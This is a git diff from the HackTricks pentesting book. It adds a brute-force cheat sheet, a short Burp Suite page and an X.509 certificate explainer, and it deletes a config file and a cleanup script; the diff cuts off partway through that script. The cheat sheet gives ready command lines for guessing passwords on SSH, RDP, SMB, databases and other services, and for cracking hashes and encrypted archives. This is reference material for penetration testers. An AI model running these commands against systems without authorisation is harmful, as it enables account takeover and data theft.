+* [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
+* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
+* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
+* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
+
+
+
diff --git a/book.toml b/book.toml
deleted file mode 100644
index 66df5354324..00000000000
--- a/book.toml
+++ /dev/null
@@ -1,39 +0,0 @@
-[book]
-authors = ["HackTricks Team"]
-language = "en"
-src = "src"
-title = "HackTricks"
-
-[build]
-create-missing = false
-extra-watch-dirs = ["translations"]
-
-[preprocessor.tabs]
-
-[preprocessor.hacktricks]
-command = "python3 ./hacktricks-preprocessor.py"
-env = "prod"
-
-[output.html]
-additional-css = ["theme/tabs.css", "theme/pagetoc.css", "theme/discount.css"]
-additional-js = [
-    "theme/tabs.js",
-    "theme/pagetoc.js",
-    "theme/ht_searcher.js",
-    "theme/sponsor.js",
-    "theme/discount.js",
-    "theme/motion.js",
-    "theme/ai.js"
-]
-no-section-label = true
-preferred-dark-theme = "hacktricks-dark"
-default-theme = "hacktricks-light"
-hash-files = false
-
-[output.html.fold]
-enable = true # whether or not to enable section folding
-level = 0     # the depth to start folding
-
-
-[output.html.print]
-enable = false # whether or not to enable print
diff --git a/brute-force.md b/brute-force.md
new file mode 100644
index 00000000000..b9d1759f4be
--- /dev/null
+++ b/brute-force.md
@@ -0,0 +1,580 @@
+# Brute Force - CheatSheet
+
+{% hint style="danger" %}
+Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?  
+[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!**
+{% endhint %}
+
+If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**  
+If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.
+
+## Default Credentials
+
+**Search in google** for default credentials of the technology that is being used, or **try this links**:
+
+* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
+* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
+* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)
+* [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)
+* [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)
+* [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)
+* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)
+* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
+* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
+* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com/)
+
+## **Create your own Dictionaries**
+
+Find as much information about the target as you can and generate a custom dictionary. Tools that may help:
+
+### Crunch
+
+```bash
+crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
+crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
+
+@ Lower case alpha characters
+, Upper case alpha characters
+% Numeric characters
+^ Special characters including spac
+crunch 6 8 -t ,@@^^%%
+```
+
+### Cewl
+
+```bash
+cewl example.com -m 5 -w words.txt
+```
+
+### [CUPP](https://github.com/Mebus/cupp)
+
+Generate passwords based on your knowledge of the victim \(names, dates...\)
+
+```text
+python3 cupp.py -h
+```
+
+### [pydictor](https://github.com/LandGrey/pydictor)
+
+### Wordlists
+
+* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
+* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
+* [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)
+* [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/carlospolop/hacktricks/tree/95b16dc7eb952272459fc877e4c9d0777d746a16/google/fuzzing/tree/master/dictionaries/README.md)
+* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
+
+## Services
+
+Ordered alphabetically by service name.
+
+### AFP
+
+```bash
+nmap -p 548 --script afp-brute <IP>
+msf> use auxiliary/scanner/afp/afp_login
+msf> set BLANK_PASSWORDS true
+msf> set USER_AS_PASS true
+msf> set PASS_FILE <PATH_PASSWDS>
+msf> set USER_FILE <PATH_USERS>
+msf> run
+```
+
+### AJP
+
+```bash
+nmap --script ajp-brute -p 8009 <IP>
+```
+
+### Cassandra
+
+```bash
+nmap --script cassandra-brute -p 9160 <IP>
+```
+
+### CouchDB
+
+```bash
+msf> use auxiliary/scanner/couchdb/couchdb_login
+hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
+```
+
+### Docker Registry
+
+```text
+hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
+```
+
+### Elasticsearch
+
+```text
+hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
+```
+
+### FTP
+
+```bash
+hydra -l root -P passwords.txt [-t 32] <IP> ftp
+ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
+medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
+```
+
+### HTTP Generic Brute
+
+#### [**WFuzz**](pentesting-web/web-tool-wfuzz.md)
+
+### HTTP Basic Auth
+
+```bash
+hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
+# Use https-get mode for httpS
+medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
+```
+
+### HTTP - Post Form
+
+```bash
+hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
+# Use https-post-form mode for httpS
+```
+
+For http**s** you have to change from "http-post-form" to "**https-post-form"**
+
+### **HTTP - CMS --** \(W\)ordpress, \(J\)oomla or \(D\)rupal or \(M\)oodle
+
+```bash
+cmsmap -f W/J/D/M -u a -p a https://wordpress.com
+```
+
+### IMAP
+
+```bash
+hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
+hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
+nmap -sV --script imap-brute -p <PORT> <IP>
+```
+
+### IRC
+
+```bash
+nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
+```
+
+### ISCSI
+
+```bash
+nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
+```
+
+### JWT
+
+```bash
+#hashcat
+hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
+
+#https://github.com/Sjord/jwtcrack
+python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
+
+#John
+john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
+
+#https://github.com/ticarpi/jwt_tool
+python3 jwt_tool.py -d wordlists.txt <JWT token>
+
+#https://github.com/brendan-rius/c-jwt-cracker
+./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
+
+#https://github.com/mazen160/jwt-pwn
+python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
+
+#https://github.com/lmammino/jwt-cracker
+jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
+```
+
+### LDAP
+
+```bash
+nmap --script ldap-brute -p 389 <IP>
+```
+
+### Mongo
+
+```bash
+nmap -sV --script mongodb-brute -n -p 27017 <IP>
+use auxiliary/scanner/mongodb/mongodb_login
+```
+
+### MySQL
+
+```bash
+hydra -L usernames.txt -P pass.txt <IP> mysql
+msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
+```
+
+### OracleSQL
+
+```bash
+patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
+
+./odat.py passwordguesser -s $SERVER -d $SID
+./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
+
+#msf1
+msf> use admin/oracle/oracle_login
+msf> set RHOSTS <IP>
+msf> set RPORT 1521
+msf> set SID <SID>
+
+#msf2, this option uses nmap and it fails sometimes for some reason
+msf> use scanner/oracle/oracle_login
+msf> set RHOSTS <IP>
+msf> set RPORTS 1521
+msf> set SID <SID>
+
+#nmap fails sometimes for some reson executing this script
+nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
+```
+
+In order to use **oracle\_login** with **patator** you need to **install**:
+
+```bash
+pip3 install cx_Oracle --upgrade
+```
+
+[Offline OracleSQL hash bruteforce](pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) \(**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**\):
+
+```bash
+ nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
+```
+
+### POP
+
+```bash
+hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
+hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
+```
+
+### PostgreSQL
+
+```bash
+hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
+medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
+ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
+patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
+use auxiliary/scanner/postgres/postgres_login
+nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
+```
+
+### PPTP
+
+You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
+
+```bash
+sudo dpkg -i thc-pptp-bruter*.deb #Install the package
+cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
+```
+
+### RDP
+
+```bash
+ncrack -vv --user <User> -P pwds.txt rdp://<IP>
+hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
+```
+
+### Redis
+
+```bash
+msf> use auxiliary/scanner/redis/redis_login
+nmap --script redis-brute -p 6379 <IP>
+hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
+```
+
+### Rexec
+
+```bash
+hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
+```
+
+### Rlogin
+
+```bash
+hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
+```
+
+### Rsh
+
+```bash
+hydra -L <Username_list> rsh://<Victim_IP> -v -V
+```
+
+[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
+
+### Rsync
+
+```bash
+nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
+```
+
+### RTSP
+
+```bash
+hydra -l root -P passwords.txt <IP> rtsp
+```
+
+### SNMP
+
+```bash
+msf> use auxiliary/scanner/snmp/snmp_login
+nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
+onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
+hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
+```
+
+### SMB
+
+```bash
+nmap --script smb-brute -p 445 <IP>
+hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
+```
+
+### SMTP
+
+```bash
+hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
+hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
+```
+
+### SOCKS
+
+```bash
+nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
+```
+
+### SQL Server
+
+```bash
+#Use the NetBIOS name of the machine as domain
+crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
+hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
+medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
+nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be carefull with the number of password in the list, this could block accounts
+msf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
+```
+
+### SSH
+
+```bash
+hydra -l root -P passwords.txt [-t 32] <IP> ssh
+ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
+medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
+patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
+```
+
+### Telnet
+
+```bash
+hydra -l root -P passwords.txt [-t 32] <IP> telnet
+ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
+medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
+```
+
+### VNC
+
+```bash
+hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
+medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
+ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
+patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_login
+nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
+```
+
+### Winrm
+
+```bash
+crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
+```
+
+## Local
+
+### Online cracking databases
+
+* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) \(MD5 & SHA1\)
+* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com/) \(Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...\)
+* [https://crackstation.net/](https://crackstation.net/) \(Hashes\)
+* [https://md5decrypt.net/](https://md5decrypt.net/) \(MD5\)
+* [https://gpuhash.me/](https://gpuhash.me/) \(Hashes and file hashes\)
+* [https://hashes.org/search.php](https://hashes.org/search.php) \(Hashes\)
+* [https://www.cmd5.org/](https://www.cmd5.org/) \(Hashes\)
+* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) \(MD5, NTLM, SHA1, MySQL5, SHA256, SHA512\)
+* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) \(MD5\)
+* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com/)
+
+Check this out before trying to bruteforce a Hash.
+
+### ZIP
+
+```bash
+fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
+```
+
+```bash
+zip2john file.zip > zip.john
+john zip.john
+```
+
+```bash
+#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
+hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
+.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
+```
+
+### 7z
+
+```bash
+cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
+```
+
+```bash
+#Download and install requirements for 7z2john
+wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
+apt-get install libcompress-raw-lzma-perl
+./7z2john.pl file.7z > 7zhash.john
+```
+
+### PDF
+
+```bash
+apt-get install pdfcrack
+pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
+#pdf2john didnt worked well, john didnt know which hash type was
+# To permanently decrypt the pdf
+sudo apt-get install qpdf
+qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
+```
+
+### JWT
+
+```bash
+git clone https://github.com/Sjord/jwtcrack.git
+cd jwtcrack
+
+#Bruteforce using crackjwt.py
+python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
+
+#Bruteforce using john
+python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
+john jwt.john #It does not work with Kali-John
+```
+
+### NTLM cracking
+
+```bash
+Format:USUARIO:ID:HASH_LM:HASH_NT:::
+jhon --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
+hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
+```
+
+### Keepass
+
+```bash
+sudo apt-get install -y kpcli #Install keepass tools like keepass2john
+keepass2john file.kdbx > hash #The keepass is only using password
+keepass2john -k <file-password> file.kdbx > hash # The keepas is also using a file as a needed credential
+#The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2john
+john --wordlist=/usr/share/wordlists/rockyou.txt hash
+```
+
+### Keberoasting
+
+```bash
+john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
+hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
+./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
+```
+
+### Lucks image
+
+#### Method 1
+
+Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
+
+```bash
+bruteforce-luks -f ./list.txt ./backup.img
+cryptsetup luksOpen backup.img mylucksopen
+ls /dev/mapper/ #You should find here the image mylucksopen
+mount /dev/mapper/mylucksopen /mnt
+```
+
+#### Method 2
+
+```bash
+cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
+dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
+hashcat -m 14600 -a 0 luckshash  wordlists/rockyou.txt
+cryptsetup luksOpen backup.img mylucksopen
+ls /dev/mapper/ #You should find here the image mylucksopen
+mount /dev/mapper/mylucksopen /mnt
+```
+
+### Mysql
+
+```bash
+#John hash format
+<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
+dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
+```
+
+## Tools
+
+**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
+
+### Hash-identifier
+
+```bash
+hash-identifier
+> <HASH>
+```
+
+### John mutation
+
+Read _**/etc/john/john.conf**_ and configure it
+
+```bash
+john --wordlist=words.txt --rules --stdout > w_mutated.txt
+john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
+```
+
+### Hashcat
+
+```bash
+hashcat --example-hashes | grep -B1 -A2 "NTLM"
+```
+
+Cracking Linux Hashes - /etc/shadow file
+
+```text
+ 500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
+3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
+7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
+1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems
+```
+
+Cracking Windows Hashes
+
+```text
+3000 | LM                                               | Operating-Systems
+1000 | NTLM                                             | Operating-Systems
+```
+
+Cracking Common Application Hashes
+
+```text
+  900 | MD4                                              | Raw Hash
+    0 | MD5                                              | Raw Hash
+ 5100 | Half MD5                                         | Raw Hash
+  100 | SHA1                                             | Raw Hash
+10800 | SHA-384                                          | Raw Hash
+ 1400 | SHA-256                                          | Raw Hash
+ 1700 | SHA-512                                          | Raw Hash
+```
+
diff --git a/burp-suite.md b/burp-suite.md
new file mode 100644
index 00000000000..465ae3dcab9
--- /dev/null
+++ b/burp-suite.md
@@ -0,0 +1,16 @@
+# Burp Suite
+
+## Basic Payloads
+
+* **Simple List:** Just a list containing an entry in each line
+* **Runtime File:** A list read in runtime \(not loaded in memory\). For supporting big lists.
+* **Case Modification:** Apply some changes to a list of strings\(No change, to lower, to UPPER, to Proper name - First capitalized and the rest to lower-, to Proper Name -First capitalized an the rest remains the same-.
+* **Numbers:** Generate numbers from X to Y using Z step or randomly.
+* **Brute Forcer:** Character set, min & max length.
+
+[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload to execute commands and grab the output via DNS requests to burpcollab.
+
+{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
+
+[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
+
diff --git a/certificates.md b/certificates.md
new file mode 100644
index 00000000000..82d8a25cab3
--- /dev/null
+++ b/certificates.md
@@ -0,0 +1,58 @@
+# Certificates
+
+## What is a Certificate
+
+In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner \(called the subject\), and the digital signature of an entity that has verified the certificate's contents \(called the issuer\). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject.
+
+In a typical [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) \(PKI\) scheme, the certificate issuer is a [certificate authority](https://en.wikipedia.org/wiki/Certificate_authority) \(CA\), usually a company that charges customers to issue certificates for them. By contrast, in a [web of trust](https://en.wikipedia.org/wiki/Web_of_trust) scheme, individuals sign each other's keys directly, in a format that performs a similar function to a public key certificate.
+
+The most common format for public key certificates is defined by [X.509](https://en.wikipedia.org/wiki/X.509). Because X.509 is very general, the format is further constrained by profiles defined for certain use cases, such as [Public Key Infrastructure \(X.509\)](https://en.wikipedia.org/wiki/PKIX) as defined in RFC 5280.
+
+## x509 Common Fields
+
+* **Version Number:** Version of x509 format.
+* **Serial Number**: Used to uniquely identify the certificate within a CA's systems. In particular this is used to track revocation information.
+* **Subject**: The entity a certificate belongs to: a machine, an individual, or an organization.
+  * **Common Name**: Domains affected by the certificate. Can be 1 or more and can contain wildcards.
+  * **Country \(C\)**: Country
+  * **Distinguished name \(DN\)**: The whole subject: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
+  * **Locality \(L\)**: Local place
+  * **Organization \(O\)**: Organization name
+  * **Organizational Unit \(OU\)**: Division of an organisation \(like "Human Resources"\).
+  * **State or Province \(ST, S or P\)**: List of state or province names
+* **Issuer**: The entity that verified the information and signed the certificate.
+  * **Common Name \(CN\)**: Name of the certificate authority
+  * **Country \(C\)**: Country of the certificate authority
+  * **Distinguished name \(DN\)**: Distinguished name of the certificate authority
+  * **Locality \(L\)**: Local place where the organisation can be found.
+  * **Organization \(O\)**: Organisation name
+  * **Organizational Unit \(OU\)**: Division of an organisation \(like "Human Resources"\).
+* **Not Before**: The earliest time and date on which the certificate is valid. Usually set to a few hours or days prior to the moment the certificate was issued, to avoid [clock skew](https://en.wikipedia.org/wiki/Clock_skew#On_a_network) problems.
+* **Not After**: The time and date past which the certificate is no longer valid.
+* **Public Key**: A public key belonging to the certificate subject. \(This is one of the main parts as this is what is signed by the CA\)
+  * **Public Key Algorithm**: Algorithm used to generate the public key. Like RSA.
+  * **Public Key Curve**: The curve used by the elliptic curve public key algorithm \(if apply\). Like nistp521.
+  * **Public Key Exponent**: Exponent used to derive the public key \(if apply\). Like 65537.
+  * **Public Key Size**: The size of the public key space in bits. Like 2048.
+  * **Signature Algorithm**: The algorithm used to sign the public key certificate.
+  * **Signature**: A signature of the certificate body by the issuer's private key.
+* **x509v3 extensions**
+  * **Key Usage**: The valid cryptographic uses of the certificate's public key. Common values include digital signature validation, key encipherment, and certificate signing.
+    * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `Digital Signature`
+  * **Extended Key Usage**: The applications in which the certificate may be used. Common values include TLS server authentication, email protection, and code signing.
+    * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `TLS Web Server Authentication`
+  * **Subject Alternative Name:**  Allows users to specify additional host **names** for a single SSL **certificate**. The use of the SAN extension is standard practice for SSL certificates, and it's on its way to replacing the use of the common **name**.
+  * **Basic Constraint:** This extension describes whether the certificate is a CA certificate or an end entity certificate. A CA certificate is something that signs certificates of others and a end entity certificate is the certificate used in a web page for example \(the last par of the chain\).
+  *  **Subject Key Identifier** \(SKI\): This extension declares a unique **identifier** for the public **key** in the certificate. It is required on all CA certificates. CAs propagate their own SKI to the Issuer **Key Identifier** \(AKI\) extension on issued certificates. It's the hash of the subject public key.
+  * **Authority Key Identifier**: It contains a key identifier which is derived from the public key in the issuer certificate. It's the hash of the issuer public key.
+  * **Authority Information Access** \(AIA\): This extension contains at most two types of information :
+    * Information about **how to get the issuer of this certificate** \(CA issuer access method\)
+    * Address of the **OCSP responder from where revocation of this certificate** can be checked \(OCSP access method\).
+  * **CRL Distribution Points**: This extension identifies the location of the CRL from which the revocation of this certificate can be checked. The application that processes the certificate can get the location of the CRL from this extension, download the CRL and then check the revocation of this certificate.
+
+### Difference between OSCP and CRL Distribution Points
+
+**OCSP** \(RFC 2560\) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without** having to **download** the **entire CRL**.  
+**CRL** is the **traditional method** of checking certificate validity. A **CRL provides a list of certificate serial numbers** that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries.  
+From [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm#:~:text=OCSP%20%28RFC%202560%29%20is%20a,to%20download%20the%20entire%20CRL.&text=A%20CRL%20provides%20a%20list,or%20are%20no%20longer%20valid.).
+
diff --git a/clean_unused_images.sh b/clean_unused_images.sh
deleted file mode 100644
index 934b28b741a..00000000000
--- a/clean_unused_images.sh
+++ /dev/null
@@ -1,41 +0,0 @@
-#!/bin/bash
-
-# Define the image folder and the root of your project
-IMAGE_FOLDER="./src/images"
-PROJECT_ROOT="."
-
-# Move to the project root
-cd "$PROJECT_ROOT" || exit
-
-# Loop through each image file in the folder
-find "$IMAGE_FOLDER" -type f | while IFS= read -r image; do
-    # Extract the filename without the path
-    image_name=$(basename "$image")
-
-    # If image file name contains "sponsor", skip it
-    if [[ "$image_name" == *"sponsor"* ]]; then
-        echo "Skipping sponsor image: $image_name"
-        continue
-    fi
-
-    echo "Checking image: $image_name"
-
-    # Search for the image name using rg and capture the result
-    search_result=$(rg -F --files-with-matches "$image_name" \
